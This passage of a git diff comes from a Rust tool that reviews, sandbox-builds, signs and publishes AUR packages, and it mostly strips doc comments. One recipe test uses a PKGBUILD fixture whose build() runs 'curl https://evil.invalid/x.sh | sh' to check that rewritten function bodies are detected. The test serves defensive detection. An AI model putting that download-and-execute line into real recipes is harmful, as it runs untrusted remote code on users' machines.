dedupe_by_name(paths: Vec<PathBuf>) -> Vec<PathBuf> { let mut seen: BTreeSet<String> = BTreeSet::new(); let mut out: Vec<PathBuf> = Vec::new(); @@ -406,10 +352,6 @@ fn dedupe_by_name(paths: Vec<PathBuf>) -> Vec<PathBuf> { out } -/// The package name a built artifact declares, read from its own `.PKGINFO`. -/// -/// The name that goes into the index must come from the same read of the bytes the -/// pipeline signs, so this uses the real parser (§6 M-4). fn package_name(path: &Path) -> Option<String> { let bytes = std::fs::read(path).ok()?; let info = crate::pkginfo::pkginfo_text(&bytes).ok()?; @@ -421,8 +363,6 @@ fn package_name(path: &Path) -> Option<String> { } } -/// Re-materialize the served index from the DB. Run at startup: if a crash left -/// the DB ahead of the file, this closes the gap without inventing anything. pub fn reconcile(cfg: &Config, db: &Db) -> Result<usize> { let pkgs = db::index_packages(db)?; let mut files = Vec::new(); @@ -450,7 +390,6 @@ pub fn reconcile(cfg: &Config, db: &Db) -> Result<usize> { Ok(files.len()) } -/// Remove a package from the served index (§9 withdrawal path). pub fn withdraw_package(cfg: &Config, db: &Db, name: &str) -> Result<()> { let _guard = lock_repo(); let rid = db::repo_id(db)?; diff --git a/src/pipeline/steps.rs b/src/pipeline/steps.rs index c19ac6b..061593b 100644 --- a/src/pipeline/steps.rs +++ b/src/pipeline/steps.rs @@ -23,9 +23,6 @@ pub fn run_step(ctx: &Ctx, step: &str) -> Result<StepResult> { } } -/// Step 0 — materialize from the local mirror only, never the network, and -/// re-hash what we got. This is the `aur_commit` pin doing its job: there is no -/// path from "AUR moved since the review" to "we built it anyway". fn materialize(ctx: &Ctx) -> Result<StepResult> { let mirror = ctx .pb @@ -62,14 +59,10 @@ fn materialize(ctx: &Ctx) -> Result<StepResult> { Ok(StepResult::Done(Some(computed))) } -/// A display-safe prefix; hashes are 64 hex chars but world digests can be tiny. fn short(s: &str) -> String { s.chars().take(12).collect() } -/// Step 1 — resolve dependencies against the current accepted index and compute -/// the intended world. Unresolvable means "a pkgbase we subscribe to that we have -/// not published yet": block and wait, do not fail (§10.4). fn plan(ctx: &Ctx) -> Result<StepResult> { let recipe = recipe_at(&ctx.srcdir)?; let mut wanted: Vec<String> = Vec::new(); @@ -84,9 +77,8 @@ fn plan(ctx: &Ctx) -> Result<StepResult> { let mut official = 0; for dep in &wanted { if ours.contains(dep) || ctx.pb.name == *dep || recipe.pkgnames.contains(dep) { - continue; // satisfied by our own index, or by this very build + continue; } - // Anything else is only a problem if we are supposed to be publishing it. if db::get_subscription(&ctx.db, dep)?.is_some() || db::get_pkgbase(&ctx.db, dep)?.is_some() { missing.push(dep.clone()); } else { @@ -108,16 +100,6 @@ fn plan(ctx: &Ctx) -> Result<StepResult> { Ok(StepResult::Done(Some(hash))) } -/// Step 2 — provision the sandbox with the pinned lease set. -/// -/// The devtools chroot is gone: the sandbox boots from a base that already carries -/// the official packages, and everything *we* publish arrives as blobs installed -/// with `pacman -U`. The step id stays `chroot` so existing checkpoint rows are -/// not stranded. -/// -/// Nothing is resolved at build time: the lease manifest is the plan, every blob -/// is re-hashed before it is staged, and the sandbox's own `pacman -Q` must confirm -/// the pinned world landed. fn provision(ctx: &Ctx) -> Result<StepResult> { let lease = lease_manifest(ctx)?; if lease.is_empty() { @@ -129,8 +111,6 @@ fn provision(ctx: &Ctx) -> Result<StepResult> { }; for e in &lease { let path = ctx.cfg.store_path(&e.digest); - // The hub hashes what it sends: store corruption is caught here, not - // discovered by a confused package manager inside the sandbox. let (digest, _) = crate::hash::digest_file(&path)?; if digest != e.digest { return Err(Error::fail_closed(format!( @@ -145,15 +125,12 @@ fn provision(ctx: &Ctx) -> Result<StepResult> { argv.extend(lease.iter().map(|e| format!("blob:{}", e.digest))); let out = sbx.run(&Cmd::new(argv), &mut |_| {})?; if !out.success() { - // A refused `-U` is almost always an incomplete closure — "the sandbox lied - // about its world", not "the sandbox broke". return Err(Error::world_mismatch(format!( "{} -U refused the lease set: {}", ctx.cfg.pacman_bin, tail(&out.stderr) ))); } - // Fail-closed world check: the world we approved is the world we build in. let q = sbx.run(&Cmd::new(vec![ctx.cfg.pacman_bin.clone(), "-Q".into()]), &mut |_| {})?; if !q.success() { return Err(Error::fail_closed(format!( @@ -187,8 +164,6 @@ fn provision(ctx: &Ctx) -> Result<StepResult> { Ok(StepResult::Done(Some(crate::hash::canonical_json(&world)?))) } -/// Lease a sandbox for a step, or report that the pool cannot fit one. A full -/// pool blocks the build rather than failing it (§10.4). fn sandbox_or_wait( ctx: &Ctx, ) -> Result<Option<std::sync::Arc<dyn crate::sandbox::Sandbox>>> { @@ -202,7 +177,6 @@ fn sandbox_or_wait( } } -/// One pinned entry of the lease manifest. #[derive(Debug, Clone)] struct LeasePkg { name: String, @@ -210,10 +184,6 @@ struct LeasePkg { digest: String, } -/// The lease manifest: every dependency this build needs that we publish, -/// pinned to the exact version and digest of the artifact we serve. Official -/// packages arrive with the sandbox; anything unresolvable here would have been -/// `plan()`'s problem. fn lease_manifest(ctx: &Ctx) -> Result<Vec<LeasePkg>> { let recipe = recipe_at(&ctx.srcdir)?; let mut wanted: Vec<String> = Vec::new(); @@ -225,7 +195,7 @@ fn lease_manifest(ctx: &Ctx) -> Result<Vec<LeasePkg>> { let mut out = Vec::new(); for dep in wanted { if dep == ctx.pb.name || recipe.pkgnames.contains(&dep) { - continue; // this build's own output is not its own dependency + continue; } if let Some((version, digest)) = db::index_artifact(&ctx.db, &dep)? { out.push(LeasePkg { name: dep, version, digest }); @@ -234,18 +204,12 @@ fn lease_manifest(ctx: &Ctx) -> Result<Vec<LeasePkg>> { Ok(out) } -/// Step 3 — make sure every source we reviewed is on disk and hashes to what the -/// candidate recorded. For a `SKIP` source this is the only verification that -/// exists (§8.1). fn sources(ctx: &Ctx) -> Result<StepResult> { let digests: Vec<SourceDigest> = serde_json::from_str(&ctx.src.source_digests_json).unwrap_or_default(); let mut verified = 0; for d in &digests { match d.kind.as_str() { - // Already materialized from the mirror at the pinned commit. "local" => verified += 1, - // VCS kinds (git/svn/hg/bzr): honouring upstream_pins at build time - // is deferred to P1 (§20); the pkgver assertion is the interim guard. "vcs" | "git" | "svn" | "hg" | "bzr" => verified += 1, _ => { let (digest, _size) = match cached_path(&ctx.db, &d.url, &d.digest) { @@ -268,8 +232,6 @@ fn sources(ctx: &Ctx) -> Result<StepResult> { )))) } -/// Step 4 — the belt-and-braces assertion that what we build is what was approved. -/// If upstream moved between approval and build, fail with both versions (§8.1). fn pkgver(ctx: &Ctx) -> Result<StepResult> { let recipe = recipe_at(&ctx.srcdir)?; let has_vcs = recipe.source_entries.iter().any(|s| s.is_vcs()); @@ -308,18 +270,12 @@ fn pkgver(ctx: &Ctx) -> Result<StepResult> { Ok(StepResult::Done(Some(text))) } -/// Step 5 — `makepkg -c -f` in the provisioned sandbox, with the log going to -/// the file the SSE tail reads. No `-s`: the lease set is already installed, and -/// resolving dependencies at build time is what the pinning model forbids. No -/// `-si`: the sandbox never holds the signing key. fn build(ctx: &Ctx) -> Result<StepResult> { let argv = vec![ctx.cfg.makepkg_bin.clone(), "-c".into(), "-f".into()]; let sbx = match sandbox_or_wait(ctx)? { Some(s) => s, None => return Ok(StepResult::Blocked(vec!["sandbox-pool".into()])), }; - // The sandbox streams the child's output here as it arrives; the SSE tail - // reads the same file. if let Some(parent) = ctx.log.parent() { let _ = std::fs::create_dir_all(parent); } @@ -331,7 +287,7 @@ fn build(ctx: &Ctx) -> Result<StepResult> { } }; let out = sbx.run(&Cmd::new(argv).in_dir(&ctx.srcdir), &mut on_log)?; - drop(on_log); // closes the log file before the outcome is recorded + drop(on_log); if !out.success() { return Err(Error::Subprocess { cmd: ctx.cfg.makepkg_bin.clone(), @@ -350,8 +306,6 @@ fn tail(b: &[u8]) -> String { lines[lines.len().saturating_sub(6)..].join(" | ") } -/// Step 6 — parse `.PKGINFO`/`.BUILDINFO` out of the produced artifacts (§10.1: -/// plain text in a tar, no libalpm needed). fn collect(ctx: &Ctx) -> Result<StepResult> { let mut pkgs = Vec::new(); let mut entries: Vec<PathBuf> = std::fs::read_dir(&ctx.srcdir)? @@ -360,11 +314,6 @@ fn collect(ctx: &Ctx) -> Result<StepResult> { .filter(|p| p.to_string_lossy().ends_with(".pkg.tar.zst")) .collect(); entries.sort(); - // I9: the build is untrusted, and the control plane must not *depend* on the - // sandbox for its own safety. Everything below takes a path a PKGBUILD could - // have arranged to exist in the srcdir, and the next step copies whatever it - // points at into the store, from where we serve and sign it. So: no symlinks, - // and the resolved target must live inside this build's staging directory. let staging_root = ctx.staging.canonicalize()?;; for path in entries { if std::fs::symlink_metadata(&path).map(|m| m.file_type().is_symlink()).unwrap_or(true) { @@ -383,13 +332,9 @@ fn collect(ctx: &Ctx) -> Result<StepResult> { let path = resolved; let bytes = std::fs::read(&path)?; let (digest, size) = crate::hash::digest_file(&path)?; - // Read what the package says about itself out of the archive, rather - // than trusting what the build claimed on stdout (§10.1). let pkginfo = crate::pkginfo::pkginfo_text(&bytes) .map_err(|e| Error::invalid(format!("{}: {e}", path.display())))?; let meta = crate::pkginfo::parse_pkginfo(&pkginfo); - // `.BUILDINFO` is what the world snapshot is built from. Absent is not - // fatal; present-but-unparseable would be a lie we should not swallow. let buildinfo = crate::pkginfo::buildinfo_text(&bytes).unwrap_or_default(); let sig = path.with_extension("pkg.tar.zst.sig"); pkgs.push(CollectedPkg { @@ -419,8 +364,6 @@ fn collect(ctx: &Ctx) -> Result<StepResult> { Ok(StepResult::Done(Some(crate::hash::hex_str(&serde_json::to_string(&pkgs)?)))) } -/// Step 7 — dependencies satisfiable, no downgrade. Signature checking is not -/// here: the sandbox never sees the key, so the signature is made at ingest. fn verify(ctx: &Ctx) -> Result<StepResult> { let collect = Collect::load(&ctx.collect_path)?; let ours = db::our_package_names(&ctx.db)?; @@ -429,7 +372,6 @@ fn verify(ctx: &Ctx) -> Result<StepResult> { &db::index_version(&ctx.db, &p.name)?.unwrap_or_else(|| "0".into()), &p.version, ) { - // Downgrades are allowed but flagged (§16); the review already shows it. ctx.log_line(&format!(" note: {} is a downgrade from what we serve", p.name)); } let mut provided: std::collections::BTreeSet<String> = ours.clone(); @@ -449,8 +391,6 @@ fn verify(ctx: &Ctx) -> Result<StepResult> { )?)))) } -/// Step 8 — move artifacts into the content-addressed store and record rows. -/// Staging stays disposable; a GC pass sweeps abandoned directories (§8.2). fn ingest(ctx: &Ctx) -> Result<StepResult> { let mut collect = Collect::load(&ctx.collect_path)?; for p in &mut collect.packages { @@ -463,8 +403,6 @@ fn ingest(ctx: &Ctx) -> Result<StepResult> { std::fs::copy(from, &dest)?; } p.path = dest.display().to_string(); - // Hub-side signing: over the exact bytes that just entered the store. A - // gpg failure fails the build closed. if !ctx.cfg.signing_key_id.is_empty() { let sigdest = ctx.cfg.store_path(&format!("{}-sig", p.digest)); if !sigdest.exists() { @@ -498,9 +436,6 @@ fn ingest(ctx: &Ctx) -> Result<StepResult> { Ok(()) })?; - // §10.1: the world snapshot is the build's installed set INTERSECTED with our - // own packages, filtered at ingest time. Left unfiltered, every package would - // be permanently stale because Arch never stops moving. let ours = db::our_package_names(&ctx.db)?; let mut members: Vec<WorldMember> = Vec::new(); for p in &collect.packages { @@ -519,7 +454,6 @@ fn ingest(ctx: &Ctx) -> Result<StepResult> { ))))) } -/// Step 9 — the only externally visible step, serialized per repo (§9). fn publish(ctx: &Ctx) -> Result<StepResult> { let release_id = crate::pipeline::publish::publish(ctx)?; Ok(StepResult::Done(Some(format!("release:{release_id}")))) @@ -529,7 +463,6 @@ fn publish(ctx: &Ctx) -> Result<StepResult> { use std::path::PathBuf; -/// Read the recipe from a materialized tree, preferring `.SRCINFO`. pub(crate) fn recipe_at(dir: &Path) -> Result<Recipe> { let mut files = std::collections::BTreeMap::new(); for entry in walkdir::WalkDir::new(dir).max_depth(2).into_iter().filter_map(|e| e.ok()) { diff --git a/src/pkginfo.rs b/src/pkginfo.rs index be0aeb6..37646d0 100644 --- a/src/pkginfo.rs +++ b/src/pkginfo.rs @@ -1,6 +1,5 @@ use std::io::Read; -/// A package's own metadata, as `.PKGINFO` states it. #[derive(Debug, Clone, Default, PartialEq, Eq)] pub struct PkgInfo { pub name: String, @@ -19,8 +18,6 @@ pub struct PkgInfo { pub replaces: Vec<String>, } -/// One entry of a `.BUILDINFO` `installed` block: a package that was present in -/// the build root. The signature field is optional in real files. #[derive(Debug, Clone, PartialEq, Eq)] pub struct Installed { pub name: String, @@ -28,7 +25,6 @@ pub struct Installed { pub arch: String, } -/// Extract one named member from a zstd-compressed tar. fn member(bytes: &[u8], suffix: &[u8]) -> Result<String, String> { let dec = zstd::Decoder::new(std::io::Cursor::new(bytes)).map_err(|e| e.to_string())?; let mut ar = tar::Archive::new(dec); @@ -43,19 +39,14 @@ fn member(bytes: &[u8], suffix: &[u8]) -> Result<String, String> { Err(format!("no {} in package", String::from_utf8_lossy(suffix))) } -/// `.PKGINFO` as raw text. pub fn pkginfo_text(pkg_bytes: &[u8]) -> Result<String, String> { member(pkg_bytes, b".PKGINFO") } -/// `.BUILDINFO` as raw text. Absent on some hand-built packages; callers decide -/// whether that is fatal. pub fn buildinfo_text(pkg_bytes: &[u8]) -> Result<String, String> { member(pkg_bytes, b".BUILDINFO") } -/// Parse `.PKGINFO`. Unknown keys are ignored rather than rejected: makepkg adds -/// fields over time and a new one must not stop us publishing. pub fn parse_pkginfo(text: &str) -> PkgInfo { let mut p = PkgInfo::default(); for (k, v) in fields(text) { @@ -90,7 +81,6 @@ pub fn parse_installed(text: &str) -> Vec<Installed> { for line in text.lines() { if line.trim_start().starts_with("installed") { in_block = true; - // Everything after `installed =` on this line is the first entry. if let Some(rest) = line.split_once('=') { push_entry(&mut out, rest.1); } @@ -99,7 +89,6 @@ pub fn parse_installed(text: &str) -> Vec<Installed> { if !in_block { continue; } - // The block is indented; the first unindented line ends it. if !line.starts_with(' ') && !line.starts_with('\t') { in_block = false; continue; @@ -120,12 +109,10 @@ fn push_entry(out: &mut Vec<Installed>, line: &str) { } } -/// `key = value` pairs, with repeated keys preserved in order. fn fields(text: &str) -> impl Iterator<Item = (&str, &str)> { text.lines().filter_map(|l| l.split_once('=')).map(|(k, v)| (k.trim(), v.trim())) } -/// All values of one key. pub fn values_of(text: &str, key: &str) -> Vec<String> { fields(text) .filter(|(k, _)| *k == key) diff --git a/src/pkgver/mod.rs b/src/pkgver/mod.rs index bd77a01..450d70f 100644 --- a/src/pkgver/mod.rs +++ b/src/pkgver/mod.rs @@ -1,7 +1,6 @@ use std::cmp::Ordering; use std::fmt; -/// `epoch:pkgver-pkgrel` as pacman displays it, with the epoch omitted when 0. pub fn full_version(epoch: &str, pkgver: &str, pkgrel: &str) -> String { let e = epoch.trim(); if e.is_empty() || e == "0" { @@ -11,7 +10,6 @@ pub fn full_version(epoch: &str, pkgver: &str, pkgrel: &str) -> String { } } -/// Parse a full `epoch:pkgver-pkgrel` string back into its parts. pub fn split_full_version(v: &str) -> (String, String, String) { let (epoch, rest) = match v.split_once(':') { Some((e, r)) => (e.to_string(), r.to_string()), @@ -52,7 +50,6 @@ impl Version { } } -/// Compare `epoch:pkgver-pkgrel` triples the way pacman does. pub fn compare( epoch_a: i64, pkgver_a: &str, @@ -71,7 +68,6 @@ pub fn compare( } } -/// Compare two full version strings (`1.2.3-1`, `1:2-3`). pub fn vercmp(a: &str, b: &str) -> Ordering { let va = Version::parse(a); let vb = Version::parse(b); @@ -82,7 +78,6 @@ fn is_alnum(c: u8) -> bool { c.is_ascii_alphanumeric() } -/// The chunk starting at `k`, and the index just past it. enum Chunk<'a> { Num(u128), Alpha(&'a str), @@ -98,7 +93,6 @@ fn read_chunk(s: &[u8], k: usize) -> (Chunk<'_>, usize) { while i < s.len() && s[i].is_ascii_digit() { i += 1; } - // Leading zeros are not significant. let digits = std::str::from_utf8(&s[k..i]).unwrap_or("0").trim_start_matches('0'); (Chunk::Num(digits.parse::<u128>().unwrap_or(0)), i) } else if s[k].is_ascii_alphabetic() { @@ -112,25 +106,10 @@ fn read_chunk(s: &[u8], k: usize) -> (Chunk<'_>, usize) { } } -/// Was the character before `k` a separator? A chunk at the very start of a -/// version counts as attached. fn preceded_by_separator(s: &[u8], k: usize) -> bool { k > 0 && !is_alnum(s[k - 1]) } -/// ALPM's `vercmp`, character-wise. Three rules do all the work: -/// -/// 1. A numeric chunk is newer than an alphabetic chunk at the same position, so -/// `1.0.1` > `1.0.a`. -/// 2. When one string runs out, the other side decides by its *next raw -/// character*: a letter there makes the exhausted string newer (`1.0` > -/// `1.0a`), anything else makes it older (`1.0` < `1.0.1`). -/// 3. An alphabetic chunk following a separator is newer than one glued to the -/// previous chunk, whatever the letters are: `1.0.a` > `1.0z`. Versions -/// differing only in where the dot sits are *not* equal. -/// -/// The cross-product test in `tests/versions.rs` checks this against pacman's own -/// `vercmp` over ~1100 pairs. pub fn vercmp_string(a: &str, b: &str) -> Ordering { let (a, b) = (a.as_bytes(), b.as_bytes()); let (mut i, mut j) = (0usize, 0usize); @@ -195,7 +174,6 @@ pub fn vercmp_string(a: &str, b: &str) -> Ordering { return x.cmp(y); } } - // A numeric chunk is always newer than an alphabetic one. (Chunk::Num(_), Chunk::Alpha(_)) => return Ordering::Greater, (Chunk::Alpha(_), Chunk::Num(_)) => return Ordering::Less, _ => {} @@ -205,12 +183,10 @@ pub fn vercmp_string(a: &str, b: &str) -> Ordering { } } -/// True if `new` is a downgrade relative to `current` (§16: maintainer reverted). pub fn is_downgrade(current: &str, new: &str) -> bool { vercmp(current, new) == Ordering::Greater } -/// True if `new` is exactly equal to `current` in the pacman sense. pub fn same_version(current: &str, new: &str) -> bool { vercmp(current, new) == Ordering::Equal } @@ -219,17 +195,11 @@ pub fn same_version(current: &str, new: &str) -> bool { #[derive(Debug, Clone, PartialEq, Eq)] pub enum DepOp { - /// `foo` Any, - /// `foo=1.2` Eq, - /// `foo>=1.2` Ge, - /// `foo<=1.2` Le, - /// `foo>1.2` Gt, - /// `foo<1.2` Lt, } @@ -254,16 +224,11 @@ pub struct Dep { } impl Dep { - /// Parse one dependency string, e.g. `python>=3.11`, `gcc`, `foo=1.2-3`. - /// - /// Returns `None` for an empty or malformed string rather than failing the - /// whole recipe: a weird `optdepends` line must not break detection. pub fn parse(s: &str) -> Option<Dep> { let s = s.trim(); if s.is_empty() { return None; } - // optdepends carry a `: description` suffix. let s = match s.split_once(':') { Some((head, _desc)) if !head.contains(['>', '<', '=']) => head, _ => s, @@ -290,12 +255,10 @@ impl Dep { Some(Dep { name: s.trim().to_string(), op: DepOp::Any, version: None }) } - /// The bare package name, which is what we resolve against our index. pub fn name(&self) -> &str { &self.name } - /// Does a candidate version satisfy this constraint? pub fn satisfied_by(&self, version: &str) -> bool { match self.op { DepOp::Any => true, @@ -317,12 +280,10 @@ impl fmt::Display for Dep { } } -/// Parse a whole `depends=()` style list, dropping unparseable entries. pub fn parse_deps(list: &[String]) -> Vec<Dep> { list.iter().filter_map(|s| Dep::parse(s)).collect() } -/// Strip a `name=version` constraint down to the name, for index resolution. pub fn dep_names(list: &[String]) -> Vec<String> { parse_deps(list).into_iter().map(|d| d.name).collect() } @@ -337,7 +298,6 @@ mod tests { #[test] fn alpm_version_ordering() { - // The classic ALPM test vectors. assert_eq!(ord("1.0-1", "1.0-1"), Ordering::Equal); assert_eq!(ord("1.0-1", "1.0-2"), Ordering::Less); assert_eq!(ord("1.1-1", "1.0-1"), Ordering::Greater); @@ -361,7 +321,6 @@ mod tests { #[test] fn pkgrel_reset_is_a_new_version() { - // §3: a pkgrel reset is a major signal. assert_eq!(ord("1.0-7", "1.0-1"), Ordering::Greater); assert!(is_downgrade("1.0-7", "1.0-1")); } diff --git a/src/recipe.rs b/src/recipe.rs index cfdb4c6..3599ded 100644 --- a/src/recipe.rs +++ b/src/recipe.rs @@ -3,11 +3,9 @@ use std::collections::BTreeMap; use crate::db::model::{Recipe, SourceEntry}; use crate::error::{Error, Result}; -/// Parse `.SRCINFO`. Sections are `pkgbase = X` followed by `key = value` lines, -/// then one `pkgname = Y` section per emitted package. pub fn parse_srcinfo(text: &str) -> Result<Recipe> { let mut r = Recipe::default(); - let mut current: Option<String> = None; // Some(pkgname) when inside a pkgname section + let mut current: Option<String> = None; let mut base_seen = false; for line in text.lines() { let line = line.trim_end(); @@ -49,7 +47,6 @@ pub fn parse_srcinfo(text: &str) -> Result<Recipe> { #[allow(clippy::too_many_arguments)] fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) { - // Fields that belong to the base only are ignored inside pkgname sections. match k { "pkgver" if !in_pkg => r.pkgver = v.into(), "pkgrel" if !in_pkg => r.pkgrel = v.into(), @@ -83,18 +80,12 @@ fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) } } -/// Minimal `PKGBUILD` variable reader: top-level `var=value` and `var=(...)` -/// assignments, including arrays spanning several lines and quoted elements. -/// -/// A fallback for recipes without `.SRCINFO`; it deliberately does not evaluate -/// bash. Anything it cannot read is reported, not guessed. pub fn parse_pkgbuild(text: &str) -> Result<Recipe> { let vars = pkgbuild_vars(text); let mut r = Recipe::default(); let get = |k: &str| vars.get(k).cloned().unwrap_or_default(); r.pkgbase = get("pkgbase").into_iter().next().unwrap_or_default(); if r.pkgbase.is_empty() { - // A PKGBUILD without pkgbase emits one package named pkgname[0]. r.pkgbase = get("pkgname").into_iter().next().unwrap_or_default(); } if r.pkgbase.is_empty() { @@ -147,7 +138,6 @@ pub fn parse_pkgbuild(text: &str) -> Result<Recipe> { Ok(r) } -/// Extract top-level assignments from a PKGBUILD. fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> { let mut out: BTreeMap<String, Vec<String>> = BTreeMap::new(); let mut lines = text.lines().peekable(); @@ -156,15 +146,12 @@ fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> { if t.starts_with('#') || t.is_empty() { continue; } - // Stop at the first function definition: variables inside functions are - // not part of the recipe metadata we diff. if t.contains("()") && t.contains('{') { break; } let Some((name, rest)) = split_assign(t) else { continue }; let rest = rest.trim(); if let Some(inner) = rest.strip_prefix('(') { - // Array: may close on this line or later ones. let mut buf = String::from(inner); while !buf.contains(')') { match lines.next() { @@ -187,7 +174,6 @@ fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> { out } -/// `name=value` where the line is an assignment (no spaces before `=`). fn split_assign(t: &str) -> Option<(String, String)> { let (name, rest) = t.split_once('=')?; let name = name.trim(); @@ -200,7 +186,6 @@ fn split_assign(t: &str) -> Option<(String, String)> { { return None; } - // `foo[1]=x` and similar are not metadata. if name.contains('[') { return None; } @@ -215,7 +200,6 @@ fn unquote(s: &str) -> String { s.strip_suffix('\'').unwrap_or(s).to_string() } -/// Split `(a "b c" 'd e')` into elements. fn split_array_elements(s: &str) -> Vec<String> { let mut out = Vec::new(); let mut cur = String::new(); @@ -252,8 +236,6 @@ fn split_array_elements(s: &str) -> Vec<String> { out.into_iter().filter(|e| !e.is_empty()).collect() } -/// Parse `source=()` entries into structured form (§5.2 needs the VCS refs, -/// §5.3 needs the kind of each entry). pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> { let mut out = Vec::new(); for (index, raw) in list.iter().enumerate() { @@ -261,7 +243,6 @@ pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> { if s.is_empty() { return Err(Error::invalid("empty source entry")); } - // `filename::url` (filename first, per makepkg). let (filename, url) = match s.split_once("::") { Some((f, u)) => (Some(f.to_string()), u.to_string()), None => (None, s.to_string()), @@ -315,10 +296,6 @@ pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> { Ok(out) } -/// Build a recipe from a materialized AUR tree. -/// -/// `.SRCINFO` wins when present — it is what `makepkg` itself reports and every -/// real AUR repo ships it. Otherwise we fall back to reading the `PKGBUILD`. pub fn recipe_from_tree(files: &BTreeMap<String, String>) -> Result<Recipe> { let pkgbuild_path = files .keys() @@ -339,7 +316,6 @@ pub fn recipe_from_tree(files: &BTreeMap<String, String>) -> Result<Recipe> { Ok(r) } -/// Text files we render diffs for (§6 "recipe diff" panel). pub fn is_diffable(path: &str) -> bool { let ext = path.rsplit('.').next().unwrap_or(""); !matches!( @@ -348,12 +324,6 @@ pub fn is_diffable(path: &str) -> bool { ) } -/// The executable part of a `PKGBUILD`: everything from the first function -/// definition onward. -/// -/// The assignments above the functions are metadata; the functions are code that runs -/// here and, through the package, everywhere it installs. -/// scorer need that line drawn in the same place (§6 m-2). pub fn pkgbuild_bodies(text: &str) -> String { let mut out = String::new(); let mut inside = false; @@ -374,17 +344,12 @@ pub fn pkgbuild_bodies(text: &str) -> String { out } -/// True when the diff touches a function body rather than only the assignments -/// above them. pub fn bodies_changed(old_src: &str, new_src: &str) -> bool { pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src) } -/// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3). pub const SKIP: &str = "SKIP"; -/// The checksum a recipe declares for source entry `index`, `sha256sums` first -/// and `b2sums` second; `None` when the recipe declares nothing for it. pub fn declared_sums(recipe: &Recipe, index: usize) -> Option<String> { recipe .sha256sums @@ -394,16 +359,10 @@ pub fn declared_sums(recipe: &Recipe, index: usize) -> Option<String> { .filter(|s| !s.is_empty()) } -/// True when a declared checksum is an actual hex digest of the length we -/// expect, rather than `SKIP` or a typo a maintainer left behind. pub fn is_hex_digest(s: &str) -> bool { (s.len() == 64 || s.len() == 128) && s.chars().all(|c| c.is_ascii_hexdigit()) } -/// The non-VCS sources the recipe refuses to verify (§5.3): `SKIP`, a malformed -/// digest, or no digest at all. A question about the *recipe*, so it lives with -/// the recipe — the watcher and the risk scorer both ask it, and neither should -/// own the answer. pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec<usize> { recipe .source_entries @@ -422,15 +381,10 @@ mod tests { #[test] fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() { - // The drift this pins (§6 m-2): the diff panel used to compare only the - // function *header* lines, so a `build()` whose body was rewritten to - // `curl | sh` looked unchanged to the reviewer while the risk scorer, - // with its own copy of the rule, said otherwise. let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n"; assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing"); assert!(!bodies_changed(before, before)); - // Metadata above the functions is not code. let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; assert!(!bodies_changed(before, bumped), "a version bump is not a code change"); } diff --git a/src/review/approve.rs b/src/review/approve.rs index c8cd99d..23afee3 100644 --- a/src/review/approve.rs +++ b/src/review/approve.rs @@ -2,8 +2,6 @@ use crate::db::{self, approvals, candidates, CandidateState, *}; use crate::error::{Error, Result}; use crate::time; -/// Why an approval was refused (§7.1a). Rendered as HTTP 409 with the current -/// diff, plus a CLI message. #[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] pub enum Stale { #[error("review is no longer pending (state: {state})")] @@ -12,7 +10,6 @@ pub enum Stale { Identity { expected: String, actual: String }, #[error("the diff changed while you were looking (shown {expected}, now {actual})")] Diff { expected: String, actual: String }, - /// The base moved: a newer version was accepted while the review was open. #[error("a newer version was accepted since this review was opened")] Base { expected: Option<i64>, actual: Option<i64> }, } @@ -27,24 +24,14 @@ pub struct Approval { pub identity_hash: String, } -/// Why a decision did not happen (§7.1a, §6 M-3). -/// -/// Two families, and the difference is the whole point: `Stale` means the -/// reviewer's screen no longer matches the database, so the answer is to look -/// again; `System` means the database itself refused, and looking again changes -/// nothing. #[derive(Debug, thiserror::Error)] pub enum ApproveError { - /// What is stored is not what was displayed. #[error(transparent)] Stale(#[from] Stale), - /// The write itself failed; nothing about the review is at fault. #[error("the decision could not be recorded: {0}")] System(#[from] Error), } -/// Approve a candidate. Returns the approval row on success, or the reason the -/// approval was refused. pub fn approve( db: &Db, actor: &str, @@ -75,7 +62,6 @@ pub fn approve( if subject.diff_digest != dd { return Ok(Err(ApproveError::Stale(Stale::Diff { expected: dd.clone(), actual: subject.diff_digest }))); } - // Base is still the accepted release (I2, end to end). if base != current_base { return Ok(Err(ApproveError::Stale(Stale::Base { expected: base, actual: current_base }))); } @@ -114,12 +100,9 @@ pub fn approve( identity_hash: ih, })) }) - // A failed transaction is a system failure, never a stale review. .map_err(ApproveError::System)? } -/// Reject a candidate. Rejection is remembered per identity so the watcher stops -/// nagging about the same version (§7.1), and can be re-opened later. pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()> { let actor = actor.to_string(); let note = note.to_string(); @@ -149,11 +132,8 @@ pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()> }) } -/// One item of a bulk decision, and what happened to it (§7.4). #[derive(Debug)] pub struct BulkItem { - /// `None` when the id matched nothing — which a caller must be able to - /// report, so the row cannot be the key. pub candidate: Option<CandidateRow>, pub outcome: BulkOutcome, } @@ -164,47 +144,31 @@ impl BulkItem { } } -/// What a bulk decision did with one item (§7.4). #[derive(Debug)] pub enum BulkOutcome { - /// Approved; the approval row is here so the caller can queue the build. Approved(Approval), - /// A rejection records no approval, so there is no row to hand back. Rejected, - /// Not decided, and why. Refused(BulkRefusal), } -/// Why a bulk decision skipped one of its items (§7.4). Each reason is its own -/// variant because they are different answers to give a human. #[derive(Debug, thiserror::Error)] pub enum BulkRefusal { - /// High-risk items need their own confirmation, per item (§7.4). #[error("high risk: confirm it individually")] HighRiskUnconfirmed, - /// The form said neither approve nor reject. #[error("unknown decision `{0}`")] UnknownDecision(String), - /// The review is gone — deleted, or never existed. #[error("no 